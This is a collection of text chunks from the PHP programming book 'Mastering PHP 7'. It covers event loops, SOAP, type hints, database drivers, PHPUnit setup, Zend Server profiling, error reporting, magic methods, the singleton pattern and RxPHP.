'STEP#3 ' , time (), PHP_EOL ; $loop ->addTimer( 5 , function () { echo 'timer#2 ' , time (), PHP_EOL ; }); echo 'STEP#4 ' , time (), PHP_EOL ; $loop ->addTimer( 3 , function () { echo 'timer#3 ' , time (), PHP_EOL ; }); echo 'STEP#5 ' , time (), PHP_EOL ; $loop ->run(); echo 'STEP#6 ' , time (), PHP_EOL ; The preceding code gives us the following output: Notice the order of the timer output, and the time next to each. Our loop still managed to end, as our timers expired. To keep the loop running constantly, we can add a periodic timer <?php require_once __DIR__ . '/vendor/autoload.php' ; use \\React\\EventLoop\\Factory; use \\Rx\\Scheduler; echo 'STEP#1 ' , time (), PHP_EOL ; $loop = Factory:: create (); Scheduler:: setDefaultFactory ( function () use ( $loop ) { return new Scheduler\\EventLoopScheduler( $loop ); }); echo 'STEP#2 ' , PHP_EOL ; $loop ->addPeriodicTimer( 1 , function () { echo 'timer ' , time (), PHP_EOL ; }); echo 'STEP#3 ' , time (), PHP_EOL ; $loop ->run(); echo 'STEP#4 ' , time (), PHP_EOL ; The preceding code gives us the following output: This loop will now continue to produce the same timer... output until we hit Ctrl + C on the console. We might be wondering, how does this differ from a PHP while loop? Generally, the while loop is of polling type, as it continuously checks things, leaving little to no room for the processor to switch tasks. The event loop uses more efficient interrupt-driven I/O instead of polling. However, the default StreamSelectLoop uses the while loop for its event-loop implementation. The addition of timers and streams is what makes it useful, as it abstracts the hard bits from us. Summary Summary Throughout this chapter, we took a hands-on approach with two popular serverless platforms--AWS and Iron.io. Using the serverless framework, we were able to quickly deploy our code to the AWS Lambda service. The actual deployment involved a few AWS services, exposing our little chunk of code as a REST API endpoint hitting AWS Lambda in the background. With all of the services being managed by AWS, we were left with a true serverless experience. Quite a powerful concept, if we think about it. Aside from AWS, Iron.io is another interesting serverless platform. Unlike real-time code execution on AWS Lamda, the code on Iron.io executes as scheduled/queued tasks (not to say that AWS does not have its own queued solution as well). While AWS Lambda natively supports Node.js, Java, Python, and .NET Core runtimes, Iron.io abstracts the language away by using Docker containers. Still, we were able to run PHP, even on AWS Lambda, by wrapping the PHP binary through Node.js. The serverless approach certainly has its appeal. While it might not be the complete solution for some of our applications, it can certainly take on the resource-intense bits. The effortless use and pay-per-execution model can be a game changer for some. Moving forward, we will take a look at what PHP has to offer when it comes to the trending reactive programming paradigm."},
    {"text": "Shared server Shared server The shared web hosting service is the one where many different users host their applications. The hosting provider usually provides a well-tuned web server with MySQL or PostgreSQL database and an FTP access. On top of that, there is usually a web-based control panel system, such as cPanel, Plesk, H-Sphere, or alike. This allows us to manage a limited set of features through a nice graphical interface, right from our browser. The popular PC Mag magazine ( http://www.pcmag.com ) shares the list of the best web hosting services of 2017 as follows: HostGator Web Hosting : http://www.hostgator.com 1&1 Web Hosting : https://www.1and1.com InMotion Web Hosting : https://www.inmotionhosting.com/ DreamHost Web Hosting : https://www.dreamhost.com GoDaddy Web Hosting : https://www.godaddy.com Bluehost Web Hosting : https://www.bluehost.com Hostwinds Web Hosting : https://www.hostwinds.com Liquid Web Hosting : https://www.liquidweb.com A2 Web Hosting : https://www.a2hosting.com Arvixe Web Hosting : https://www.arvixe.com Each of these web hosting services seems to provide a similar set of functionalities, as shown in the following screenshot: While the affordable shared server price might seem tempting, the lack of control over the server limits its use with any serious applications. Our application shares the same CPU, memory, and storage as a dozen, a hundred, or even a thousand other applications. We don't get to install any software we want, which might even turn into a deal breaker if our application requires some fancy PHP extension, which is why this type of a poor man's hosting is something we should wholeheartedly try to avoid for anything other than the business card or blog type of applications. Working with SOAP Working with SOAP SOAP ( Simple Object Access Protocol ) is an XML-based message exchange protocol that relies on application layer protocols such as HTTP for message negotiation and transmission. The World Wide Web Consortium ( W3C ) maintains SOAP specification. The SOAP specifications document is available at https://www.w3.org/TR/soap/ . The SOAP message is an XML document comprised of Envelope , Header , Body , and Fault elements: <? xml version =\"1.0\" ?> < env :Envelope > < env :Header > <!-- ... --> </ env :Header > < env :Body > <!-- ... --> < env :Fault > <!-- ... --> </ env :Fault > </ env :Body > </ env :Envelope > Envelope is a required element of each SOAP request, as it envelops an entire SOAP message. Similarly, the Body element is also required as it contains request and response information. Header and Fault , on the other hand, are optional elements. Using merely XML-based request-response messages, we can establish client-server communication over HTTP. While trading XML messages may look simple, it can become cumbersome when one has to deal with a large number of method calls and data types. This is where WSDL comes in play. WSDL is an interface definition language that can be used to define a web service's data types and operations. The W3C maintains WSDL specification. The WSDL specification document is available at https://www.w3.org/TR/wsdl . A total of six major elements are used to describe the service, as per the following partial example: <? xml version =\"1.0\" ?> < definitions > < types > <!-- ... --> </ types > < message > <!-- ... --> </ message > < portType > <!-- ... --> </ portType > < binding > <!-- ... --> </ binding > < port > <!-- ... --> </ port > < service > <!-- ... --> </ service > </ definitions > While WSDL is not required for our service to be operational, it certainly comes in handy for clients consuming our SOAP service. Sadly, PHP lacks any official tooling for easy generation of WSDL files based on the PHP classes that our SOAP service uses. This makes it tedious and time consuming for PHP developers to write WSDL files manually, which is why some developers tend to overlook the WSDL completely. Temporarily putting the WSDL file generation aside, it's safe to say that the only really challenging part of the SOAP service is writing and reading XML messages. This is where PHP extensions come in handy. Mastering PHP 7 Mastering PHP 7 Copyright © 2017 Packt Publishing All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, without the prior written permission of the publisher, except in the case of brief quotations embedded in critical articles or reviews. Every effort has been made in the preparation of this book to ensure the accuracy of the information presented. However, the information contained in this book is sold without warranty, either express or implied. Neither the author(s), nor Packt Publishing, and its dealers and distributors will be held liable for any damages caused or alleged to be caused directly or indirectly by this book. Packt Publishing has endeavored to provide trademark information about all of the companies and products mentioned in this book by the appropriate use of capitals. However, Packt Publishing cannot guarantee the accuracy of this information. First published: June 2017 Production reference: 1220617 Published by Packt Publishing Ltd. Livery Place 35 Livery Street Birmingham B3 2PB, UK. ISBN 978-1-78588-281-4 www.packtpub.com"},
    {"text": "Summary Summary Throughout this chapter, we very briefly scratched the surface of some of the most popular types of PHP application testing. The test driven development (TDD) and behaviour driven development comprise of a very large and important chunk of it. Luckily, the PHP ecosystem provides two excellent frameworks, PHPUnit and Behat, which makes these types of testing easy to work with. Although fundamentally different, PHPUnit and Behat complete each other in a sense that they ensure our application is tested both from the smallest unit of functionality to a logical outcome of overall functionality point of view. phpspec on the other hand seems to sit in the middle of the two, trying to address these two challenges in its own uniform way. We further glossed over Apache jMeter, seeing how easy it is to kick off a performance test with a simple web test plan. This allows us to take an important step forward and confirms that our application not only works, but works fast enough to meet user expectations. Moving forward, we will take a closer look at the debugging, tracing, and profiling PHP applications. Scalar type hints Scalar type hints By classification, PHP is a dynamically typed and weakly typed language. These are two different concepts that often get mixed together. Dynamically typed languages do not require the explicit declaration of a variable before it is used. Weakly typed languages are those in which the variable is not of any specific data type, that is, its type can change through different value-type reassignments. Let's take a look at the following example: // dynamic typed (no specific type defined, directly assigning value) $name = \"Branko\"; // string $salary = 4200.00; // float $age = 33; // int // weak typed (variable value reassigned into different type) $salary = 4200.00; // float $salary = $salary + \"USD\"; // float $salary = $salary . \"USD\"; // string In the preceding code, we see three different variables being used, none of which are predefined with a certain type. We just have values declared into them. PHP then determines the type on the go. Even when the variable type is determined, it can still be changed by simply assigning another type of value to it. These are two very powerful concepts, which, when used wisely, can save us lines and lines of code. However, these powerful features often indirectly encourage bad design. This is particularly noticeable when writing functions, either by forcing function designers into multiple data type checks, or forcing them into multiple function return types. Let's take a look at the following example: function addTab($tab) { if (is_array($tab)) { } elseif (is_object($tab)) { } elseif (is_string($tab)) { } else { } } Given the type uncertainty of the input argument, the addTab function was forced to branch its logic. Similarly, the same function might decide to return different types of data, depending on the logic branch. Designs like these are usually a result of functions that simply try to do too much. The real problem is not even in the function, it is on the consumer side of things. If it happens that the developer using a function is not aware enough of the passing parameter type, unexpected results might occur. To help us write more correct and self-documenting programs, PHP introduced type hinting . PHP has supported function parameter type hinting from version 5.0, but only for objects, and from version 5.1 for arrays as well. With PHP 7, scalar types can be type-hinted as well, making it one of the more exciting features of the release. The following are the scalar type hints that are supported by PHP: int float string bool We can now write functions in either of the following ways: It can be function register($email, $age, $notify) { /* ... */} It can be function register($email, int $age, $notify) { /* ... */} It can be function register(string $email, int $age, bool $notify) { /* ... */} However, simply hinting scalar types is not enough as type declarations are not enforced by default. PHP will simply attempt to convert to the specified type without complaint. By adding the declare(strict_types=1); directive as the first statement in a PHP file, we can enforce the strict type checking behavior. It is worth noting that this directive only affects the specific file it is used in, and does not affect other included files. The file-level directive was used to preserve the backward compatibility with numerous extensions and built-in PHP functions. Let's take a look at the following example: declare(strict_types=1); function register(string $email, int $age, bool $notify) { // body } register('user@mail.com', '33', true); With strict types directive turned on, trying to pass an improper data type to a hinted scalar parameter would result in a \\TypeError exception, as per the following output: Fatal error: Uncaught TypeError: Argument 2 passed to register() must be of the type integer, string given, called in /test.php on line 11 and defined in /test.php:5 Stack trace: #0 /test.php(11): register('user@mail.co...', '33', true) #1 {main} thrown in /test.php on line 5. Scalar type hints are a powerful new addition to the PHP language. They empower developers with an extra layer of protection during runtime, without really sacrificing the weak type system in general."},
    {"text": "Working with Databases Working with Databases The PHP language has a pretty good support for several different databases. MySQL has been embraced by PHP developers as the go-to database ev er since the early days of the PHP language. While the initial emphasis was mostly on relational database management systems ( RDBMS ), other types of databases proved to be equally (or more) important for modern applications. The document and data key-value databases have been growing in popularity ever since. Nowadays, it is not uncommon to see a PHP application making use of MySQL, Mongo, Redis, and possibly a few more databases or data stores all at once. The NoSQL (\"non SQL\", \"non relational\" or \"not only SQL\") nature of Mongo allows building applications that generate massive volumes of new and possibly rapidly changing data types. Relieved from the strictness of SQL ( Structured Query Language ), working with structured, semi-structured, unstructured, and polymorphic data becomes a whole new experience with the Mongo database. The in-memory data structure stores such as Redis strive on speed, which makes them great to cache and message broker systems. In this chapter, we will take a closer look at MySQL, Mongo, and Redis through the following sections: Working with MySQL Installing MySQL Setting up sample data Querying via the mysqli driver extension Querying via the PHP Data Objects driver extension Working with MongoDB Installing MongoDB Setting up sample data Querying via the MongoDB driver extension Working with Redis Installing Redis Setting up sample data Querying via the phpredis driver extension Throughout this chapter, we provide quick installation instructions for each of the three database servers. These instructions are given on a relatively basic level, without any post-installation configuration or tuning that is usually done on production-type machines. The general idea here was to merely get the developer machine up and running with each of the database servers. Mastering PHP 7 Understanding the client-server relationship Understanding the client-server relationship To easily visualize the client-server relationship and the request-response typ e of messaging, we can think of a mobile currency application acting as a client and some remote website, such as http://api.fixer.io/ , being the server. The server exposes one or more URL endpoints, allowing communication exchange, such as http://api.fixer.io/latest?symbols=USD,GBP . The mobile application can easily issue a HTTP GET http://api.fixer.io/latest?symbols=GBP,HRK,USD request, which then results in a response like this: { \"base\" : \"EUR\" , \"date\" : \"2017-03-10\" , \"rates\" : { \"GBP\" : 0.8725 , \"HRK\" : 7.419 , \"USD\" : 1.0606 } } The HTTP GET keyword is used to denote the type of operation we want to perform on the receiver located on the remote (server) system that we contact via URL. The response contains JSON-formatted data, which our mobile currency application can easily digest and make use of. This specific message exchange example is what we flag as representational state transfer ( REST ) or RESTful service. The REST service itself is not a protocol; it is an architectural style on top of HTTP's stateless protocol and standard operations (GET, POST, PUT, DELETE, and so on). There is much more to it, than showcased in this simple example, as we will get to see later on in the Working with REST section. There are other forms of services that go beyond being just an architectural style, such as the SOAP service and Apache Thrift service. While they come with their own sets of protocols, they also play nicely with HTTP."},
    {"text": "Setting up a sample application Setting up a sample application Before we start writing some PHPUnit test scripts, let's go ahead and create a very simple application consisting of merely a few files. This will allow us to focus on the essence of writing a test later on. Test driven development ( TDD ), such as the one done with PHPUnit, encourages writing tests before the implementations. This way, the tests set the expectations for the functionality and not the other way around. This approach requires a certain level of experience and discipline, which might not sit well with newcomers to PHPUnit. Let's assume that we are making a part of the web shopping functionality, thus dealing with product and category entities for a start. The first class we address is the Product model. We will do so by creating the src\\Foggyline\\Catalog\\Model\\Product.php file, with its content as follows: <?php declare (strict_types= 1 ); namespace Foggyline\\Catalog\\Model; class Product { protected $id ; protected $title ; protected $price ; protected $taxRate ; public function __construct(string $id , string $title , float $price , int $taxRate ) { $this -> id = $id ; $this -> title = $title ; $this -> price = $price ; $this -> taxRate = $taxRate ; } public function getId(): string { return $this -> id ; } public function getTitle(): string { return $this -> title ; } public function getPrice(): float { return $this -> price ; } public function getTaxRate(): int { return $this -> taxRate ; } } The Product class relies on the constructor for setting up the product's ID, title, price, and tax rate. Other than that, there is no actual logic to the class, aside from the simple getter methods. With the Product class in place, let's go ahead and create a Category class . We will add it to the src\\Foggyline\\Catalog\\Model\\Category.php file, with its content as follows: <?php declare (strict_types= 1 ); namespace Foggyline\\Catalog\\Model; class Category { protected $title ; protected $products ; public function __construct(string $title , array $products ) { $this -> title = $title ; $this -> products = $products ; } public function getTitle(): string { return $this -> title ; } public function getProducts(): array { return $this -> products ; } } The Category class relies on the constructor for setting up the category title and its products. Other than that, there is no logic in it, aside from the two getter methods, which merely return the values set through the constructor. To spice things up a bit, for testing purposes, let's go ahead and create a dummy Layer class as a part of the src\\Foggyline\\Catalog\\Model\\Layer.php file, with its content as follows: <?php namespace Foggyline\\Catalog\\Model; // Just a dummy class, for testing purpose class Layer { public function dummy() { $time = time (); sleep ( 2 ); $time = time () - $time ; return $time ; } } We will use this class merely as an example, with the code coverage analysis later on. With the Product and Category models, let's go ahead and create the Block\\Category\\View class as a part of the src\\Foggyline\\Catalog\\Block\\Category\\View.php file, with its content as follows: <?php declare (strict_types= 1 ); namespace Foggyline\\Catalog\\Block\\Category; use Foggyline\\Catalog\\Model\\Category; class View { protected $category ; public function __construct(Category $category ) { $this -> category = $category ; } public function render(): string { $products = '' ; foreach ( $this -> category ->getProducts() as $product ) { if ( $product instanceof \\Foggyline\\Catalog\\Model\\Product) { $products .= '<div class=\"product\"> <h1 class=\"product-title\">' . $product ->getTitle() . '</h1> <div class=\"product-price\">' . number_format ( $product ->getPrice(), 2 , ',' , '.' ) . '</h1> </div>' ; } } return '<div class=\"category\"> <h1 class=\"category-title\">' . $this -> category ->getTitle() . '</h1> <div class=\"category-products\">' . $products . '</div> </div>' ; } } We are using the render() method to render the entire category page. The page itself consists of a category title, and a container of all of its products with their individual titles and prices. Now that we have our truly basic application classes outlined, let's add a simple PSR4 type loader to the autoload.php file, with its content as follows: <?php $loader = require __DIR__ . '/vendor/autoload.php' ; $loader ->addPsr4( 'Foggyline \\\\ ' , __DIR__ . '/src/Foggyline' ); Finally, we set up the entry point to our application as a part of the index.php file, with its content as follows: <?php require __DIR__ . '/autoload.php' ; use Foggyline\\Catalog\\Model\\Product; use Foggyline\\Catalog\\Model\\Category; use Foggyline\\Catalog\\Block\\Category\\View as CategoryView; $category = new Category( 'Laptops' , [ new Product( 'RL' , 'Red Laptop' , 1499.99 , 25 ), new Product( 'YL' , 'Yellow Laptop' , 2499.99 , 25 ), new Product( 'BL' , 'Blue Laptop' , 3499.99 , 25 ), ]); $categoryView = new CategoryView( $category ); echo $categoryView ->render(); We will be using this utterly simple application across other types of tests as well, so it's worth keeping its files and structure in mind."},
    {"text": "Installing Zend Server Installing Zend Server Given that this book is targeting PHP 7, moving forward, we will grab a free trial version of the Zend Server and install it. We can do so by opening the official Zend page and clicking on the Download Free Trial button: Assuming that we are using the fresh Ubuntu 17.04 installation, Zend's download service is likely to offer us a tar.gz archive download: Once downloaded and unpacked, we need to trigger the install_zs.sh command with the PHP version argument as follows: Upon installation completion, the console gives us information about how to access the server administration interface through the browser : Opening https://localhost:10082/ZendServer triggers the License Agreement step of the Launch Zend Server process: Agreeing to the license agreement and clicking on the Next button takes us to the Profile step of the Launch Zend Server process: The Profile step offers three distinctive options: Development , Production (Single Server) , and Production (Create or Join a Cluster) . Choosing the Development option, we click on the Next button, which takes us to the User Passwords step of the Launch Zend Server process: Here we provide admin and developer with user passwords. Clicking on the Next button takes us to the Summary step of the Launch Zend Server process: The summary step merely confirms our previous selections and entries. By clicking on the Launch button, we finalize the Launch Zend Server process and land on the Getting Started page: The Zend Server provides a rich interface for managing pretty much every aspect of the running sever. From here, we can manage virtual hosts, applications, job queues, caching, security, and other bits. Before we can focus on Z-Ray functionality, we need to set up our test application. We will use the same application we used with Xdebug, mapped on the test.loc domain. Copyright < html PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\" \"http://www.w3.org/TR/REC-html40/loose.dtd\"> Deleting Deleting Removing records from Redis is as easy as calling the Redis client del() method and passing it the key that we want to delete: <?php try { $client = new Redis(); $client ->connect( 'localhost' , 6379 ); $client ->del( 'user' ); } catch (RedisException $e ) { echo $e ->getMessage(), PHP_EOL ; } Disabling debug messages Disabling debug messages The Ubuntu Server is a popular, free, and open source Linux distribution that we can use to quickly set up a LAMP ( Linux, Apache, MySQL, PHP ) stack. The ease of installation and long-term support of Ubuntu Server makes it a popular choice among PHP developers. With a clean server installation, we can get the LAMP stack up and running just by executing the following commands: sudo apt-get update && sudo apt-get upgrade sudo apt-get install lamp-server^ Once these are done, visiting our external server IP address, we should see an Apache page, as shown in the following screenshot: The HTML we are seeing in the browser originates from the /var/www/html/index.html file. After replacing index.html with index.php , we're good to play with the PHP code. The reason for this Ubuntu Server-like introduction is to emphasize certain server defaults. Out of all configuration directives, we should never blindly accept defaults for error logging and error displaying directives without truly understanding them. Constant switching between development and production environments makes it way too easy to expose confidential information within the browser or miss logging the right error. With that in mind, let's assume we have the following broken index.php file on our freshly installed Ubuntu Server LAMP stack: <?php echo 'Test; On trying to open this in the browser, Apache will send back HTTP 500 Internal Server Error , which, depending on the browser, might be visible to the end user, as shown in the following screenshot: Ideally, we would have our web server configured with a nicely styled generic error page, just to make it more user friendly. While the browser response might satisfy the end user, it certainly does not satisfy the developer in this case. The information returned does not indicate anything about the nature of the error, which makes it difficult to fix it. Luckily, for us, the default LAMP stack configuration in this case includes logging the error to a /var/log/apache2/error.log file: [Thu Feb 02 19:23:26.026521 2017] [:error] [pid 5481] [client 93.140.71.25:55229] PHP Parse error: syntax error, unexpected ''Test;' (T_ENCAPSED_AND_WHITESPACE) in /var/www/html/index.php on line 3 While this behavior is perfect for production, it is cumbersome for the development environment. When developing, we would really like our errors to show up in the browser, just to speed things up. PHP allows us to control the error reporting and logging behavior through several configuration directives, the following being the most important: error_reporting : This is the error level we wish to monitor; we can use the pipe ( | ) operator to list several error-level constants. Its default value is E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED . display_errors : This specifies if errors should be sent to the browser/CLI or be hidden from the user. error_log : This is the file where we want to log PHP errors. log_errors : This tells us if we should log the error to the error_log file. The available error-level constants are defined as follows: E_ERROR (1) E_WARNING (2) E_PARSE (4) E_NOTICE (8) E_CORE_ERROR (16) E_CORE_WARNING (32) E_COMPILE_ERROR (64) E_COMPILE_WARNING (128) E_USER_ERROR (256) E_USER_WARNING (512) E_USER_NOTICE (1024) E_STRICT (2048) E_RECOVERABLE_ERROR (4096) E_DEPRECATED (8192) E_USER_DEPRECATED (16384) E_ALL (32767) Using the error_reporting() and ini_set() functions, we can use some of these directives to configure logging and displaying during runtime: <?php error_reporting(E_ALL); ini_set('display_errors', 'On'); careful using ini_set() for display_errors as it won't have any effect if the script has fatal errors, simply because runtime does not get executed. Error displaying and error logging are two different mechanisms that work hand in hand with each other. While we are likely to benefit more from error displaying in development environments, error logging is the way to go for production environments."},
    {"text": "Customer support Customer support Now that you are the proud owner of a Packt book, we have a number of things to help you to get the most from your purchase. Errata Errata Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you find a mistake in one of our books-maybe a mistake in the text or the code-we would be grateful if you could report this to us. By doing so, you can save other readers from frustration and help us improve subsequent versions of this book. If you find any errata, please report them by visiting http://www.packtpub.com/submit-errata , selecting your book, clicking on the Errata Submission Form link, and entering the details of your errata. Once your errata are verified, your submission will be accepted and the errata will be uploaded to our website or added to any list of existing errata under the Errata section of that title. To view the previously submitted errata, go to https://www.packtpub.com/books/content/support and enter the name of the book in the search field. The required information will appear under the Errata section. Magic Behind Magic Methods Magic Behind Magic Methods The PHP language allows for both, a procedural and an object-oriented ( OO ) way of writing code. Whereas the procedural way is more of a remnant of initial versions of PHP, nothing really stops us from writing fully procedural applications even today. While both approaches have their advantages and disadvantages, the OO way is by far the most dominant one nowadays, the advantages of which are more evident in robust and modular applications, which are nearly impossible to work on with the procedural style. Knowing the individual features of the PHP OO model is vital to understand, write, and debug modern applications. The magic methods are one of the more interesting and often mystic features of the PHP language. They are the predefined class methods that the PHP compiler executes under some event, such as object initialized, object destroyed, object converted to string, object method accessed, object property accessed, object serialized, object deserialized, and more. In this chapter, we will cover the use of each of the magic methods available in PHP, as per the following list of sections: Using __construct() Using __destruct() Using __call() Using __callStatic() Using __set() Using __get() Using __isset() Using __unset() Using __sleep() Using __wakeup() Using __toString() Using __invoke() Using __set_state() Using __clone() Using __debugInfo() Usage statistic across popular platforms PHP language reserves all function names starting with __ as magical. Selecting Selecting We can select data from MySQL using the query() method of a mysqli instance, as follows: <?php try { // Report on all types of errors mysqli_report ( MYSQLI_REPORT_ALL ); // Open a new connection to the MySQL server $mysqli = new mysqli( '127.0.0.1' , 'root' , 'mL08e!Tq' , 'sakila' ); // Perform a query on the database $result = $mysqli ->query( 'SELECT * FROM customer WHERE email LIKE \"MARIA.MILLER@sakilacustomer.org\"' ); // Return the current row of a result set as an object $customer = $result ->fetch_object(); // Close opened database connection $mysqli ->close(); // Output customer info echo $customer -> first_name , ' ' , $customer -> last_name , PHP_EOL ; } catch (mysqli_sql_exception $e ) { // Output error and exit upon exception echo $e ->getMessage(), PHP_EOL; exit ; } The preceding example gives the following error: No index used in query/prepared statement SELECT * FROM customer WHERE email = \"MARIA.MILLER@sakilacustomer.org\" If we have used MYSQLI_REPORT_STRICT instead of MYSQLI_REPORT_ALL , we would not have got the error. However, using less restrictive error reporting is not a solution for mitigating the error. Even though we might not be in charge of the database architecture and maintenance, it is our duty as a developer to report overlooks like these as they will most definitely affect our application performance. A solution, in this case, is to actually create an index on the email column. We can do so easily via the following query: ALTER TABLE customer ADD INDEX idx_email (email); idx_email is the freely given name of the index we are creating, while email is the column for which we are creating an index. The idx_ prefix is merely a matter of convention some developers use; the index can easily be named xyz or just email . With the index in place, if we now try to execute the previous code, it should output MARIA MILLER , as shown in the following screenshot: The query() method returns either the mysqli_result object or the True and False Boolean value, based on the following type: SELECT type of query - mysqli_result object or Boolean False SHOW type of query - mysqli_result object or Boolean False DESCRIBE type of query - mysqli_result object or Boolean False EXPLAIN type of query - mysqli_result object or Boolean False other types of queries - B oolean True or False The instance of the mysqli_result object has several different result fetching methods: fetch_object() : This fetches the current row of a result set as an object, and allows b eing called repeatedly fetch_all() : This fetches all result rows as either MYSQLI_ASSOC , MYSQLI_NUM , or MYSQLI_BOTH fetch_array() : This fetches a single result row as either MYSQLI_ASSOC , MYSQLI_NUM , or MYSQLI_BOTH fetch_assoc() : This fetches a single result row as an associative array, and allows being called repeatedly fetch_field() : This fetches the next field in the result set, and allows being called repeatedly fetch_field_direct() : This fetches meta-data for a single field fetch_fields() : This f etches meta-data for fields in an entire result set fetch_row() : This fetches a single result row as an enumerated array and allows being called repeatedly"},
    {"text": "Working with Redis Working with Redis Redis is an open source, in-memory data structure store, whose development is sponsored by Redis Labs. The name originated from REmote DIctionary Server . It currently ranks as one of the most popular key-value databases. Some of the key strengths of Redis can be outlined as follows: In-memory data structure store Key-value data store Keys with a limited time-to-live Publish/subscribe messaging It can be used for cache data stores Transactions Master-slave replication Connecting Connecting Using the mongodb driver extension and the mongodb/mongodb PHP library, we can connect to the Mongo database from PHP using the MongoDBDriverManager class, as follows: <?php require_once __DIR__ . '/vendor/autoload.php' ; $manager = new MongoDBDriverManager( 'mongodb://localhost:27017' ); This single-line expression will look for MongoDB on localhost under port 27017 . Working with Apache Thrift (RPC) Working with Apache Thrift (RPC) Apache Thrift is an open source framework to build scalable cross-language services. It was originally developed by Facebook, then entered the Apache Incubator around May 2008. Simplicity, transparency, consistency, and performance are the four key values behind the framework. Unlike the REST and SOAP type of services, Thrift services use a binary form of communication. Luckily for us, Thrift provides a code generation engine to get us started. The code generation engine can pick up any interface definition language ( IDL ) file and generate PHP or other language bindings from it. Before we start writing our first service definition, we need to install Apache Thrift. The singleton pattern The singleton pattern The singleton is among the first design patterns most developers learn. The goal of this design pattern is to limit the number of class instantiations to only one. What this means is that using the new keyword on a class will always return one and the same object instance. This is a powerful concept that allows us to implement all sorts of application-wide objects, such as loggers, mailers, registries, and other bits of functionality that we may want to act as singletons. However, as we will soon see, we will avoid the new keyword altogether, and instantiate an object via the static class method. The following example demonstrates a possibl e singleton p attern implementation: <?php class Logger { private static $instance ; const TYPE_ERROR = 'error' ; const TYPE_WARNING = 'warning' ; const TYPE_NOTICE = 'notice' ; protected function __construct() { // empty?! } private function __clone() { // empty?! } private function __wakeup() { // empty?! } public static function getInstance() { if (! isset ( self :: $instance )) { // late static binding self :: $instance = new self ; } return self :: $instance ; } public function log ( $type , $message ) { return sprintf ( 'Logging %s: %s' , $type , $message ); } } // Client use echo Logger:: getInstance ()->log(Logger:: TYPE_NOTICE , 'test' ); The Logger class uses the static member $instance to keep an instance of one self , as per the implementation of the getInstance() method. We defined __construct as protected in order to prevent new instance creation via the new operator. The __clone() method was defined as private in order to prevent instance cloning via the clone operator. Similarly, the __wakeup() method was also defined as private, in order to prevent instance unserializing via the unserialize() function. These few simple restrictions make for a class that acts as a singleton. In order to fetch an instance, all it takes is calling the getInstance() class method. Transactions Transactions MongoDB does not have a full ACID ( Atomicity, Consistency, Isolation, Durability ) support in a sense that MySQL has. It supports ACID transactions only at the document level. The multi-document transactions are not supported. The lack of ACID compliance certainly limits its use with platforms that depend on this feature. This is not to say that MongoDB cannot be used with such platforms. Let's consider a popular Magento e-commerce platform. There is nothing preventing Magento from adding MongoDB to the mix. While the MySQL features can guarantee ACID compliance around sales-related functionality, MongoDB can be used within the conjunction to cover bits around catalog functionality. This type of symbiosis can then easily bring the best of both database features to our platform. Using __debugInfo() Using __debugInfo() The __debugInfo() magic method gets triggered when the var_dump() function is called. By default, the var_dump() function shows all public, protected, and private properties of an object. However, if an object class implements the __debugInfo() magic method, we get to control the output of the var_dump() function. The m ethod does not accept any parameters, and returns an array of key-values to be shown, as per the following synopsis: array __debugInfo(void) The following example demonstrates the __debugInfo() method implementation: <?php class User { public $name = 'John'; public $age = 34; private $salary = 4200.00; private $bonus = 680.00; protected $identifier = 'ABC'; protected $logins = 67; public function __debugInfo() { return [ 'name' => $this->name, 'income' => $this->salary + $this->bonus ]; } } $user = new User(); var_dump($user); This results in the following output: object(User)#1 (2) { [\"name\"]=> string(4) \"John\" [\"income\"]=> float(4880) } While the __debugInfo() method is useful for tailoring our own var_dump() output, this might not be something we will necessarily be doing in day-to-day development."},
    {"text": "Using Z-Ray Using Z-Ray Now that we have our test application up and running, we can finally focus on the Z-Ray functionality. Within the Zend Server administration interface, under Z-Ray | Mode , we need to make sure that the Enabled option is the active one. Now, if we access the http://test.loc URL within the browser, we should be able to see the Z-Ray toolbar at the bottom of the page: The toolbar itself consists of several key sections, each of which gathers a specific metric: Page Requests : Execution Time and Memory Peak : Monitor Events : Errors & Warnings : Database Queries: While our specific sample application has no database interactions, the following output illustrates Z-Ray capturing raw SQL database queries as well as their execution times from a resource-intense Magento eCommerce platform: Functions : Request Info : Z-Ray acts like a mix of Xdebug's trace and profile functionalities, delivered straight into the browser. This makes it an extremely handy tool for developers. Capturing rawSQL queries adds even more value to the tool, as, usually, these tend to be the unexpected performance bottlenecks. The Z-Ray feature can be easily enabled only for a specific host. The way to do this is by activating the Selective option under the Z-Ray | Mode screen. This type of setup makes it convenient to profile production sites. Who this book is for Who this book is for Target readers are assumed to be intermediate-level PHP developers. This book will embark you on a journey to become a master in PHP. Solid knowledge of PHP is implied across areas such as basic syntax, types, variables, constants, expressions, operators, control structures, and functions. Subject Subject Rx\\Subject\\Subject is an interesting component--it's a class that acts both as observable and observer. The benefit of this is seen in the following example: use \\Rx\\Subject\\Subject; $mailer = new class () extends Subject { public function onCompleted() { echo 'mailer.onCompleted' , PHP_EOL ; parent :: onCompleted (); } public function onNext( $val ) { echo 'mailer.onNext: ' , $val , PHP_EOL ; parent :: onNext ( $val ); } public function onError(\\Throwable $error ) { echo 'mailer.onError' , $error ->getMessage(), PHP_EOL ; parent :: onError ( $error ); } }; $logger = new class () extends Subject { public function onCompleted() { echo 'logger.onCompleted' , PHP_EOL ; parent :: onCompleted (); } public function onNext( $val ) { echo 'logger.onNext: ' , $val , PHP_EOL ; parent :: onNext ( $val ); } public function onError(\\Throwable $error ) { echo 'logger.onError' , $error ->getMessage(), PHP_EOL ; parent :: onError ( $error ); } }; $users = Observable:: fromIterator (users( __DIR__ . '/users.csv' )); $mailer ->subscribe( $logger ); $users ->subscribe( $mailer ); Using the anonymous classes, we were able to extend the Rx\\Subject\\Subject class on-the-fly. The underlying onCompleted() , onError(Exception $error) , and onNext($value) methods are where we tap into our observer-related logic. Once executed, the code results in the following output: mailer.onNext: John logger.onNext: John mailer.onNext: Mariya logger.onNext: Mariya mailer.onNext: Marc logger.onNext: Marc mailer.onNext: Lucy logger.onNext: Lucy mailer.onNext: logger.onNext: mailer.onCompleted logger.onCompleted What is happening here is that the mailer first taps into the stream, and then streams back into the logger stream. This is possible because of the dual nature of Rx\\Subject\\Subject . It is important to note that the logger does not observe the original stream. We can test this easily by adding the filter to $mailer : // ... $mailer ->filter(function ($val) { return strstr($val, 'Marc') == false; }) ->subscribe($logger); $users->subscribe($mailer); The resulting output will now omit the user named on the logger observer: mailer.onNext: John logger.onNext: John mailer.onNext: Mariya logger.onNext: Mariya mailer.onNext: Marc mailer.onNext: Lucy logger.onNext: 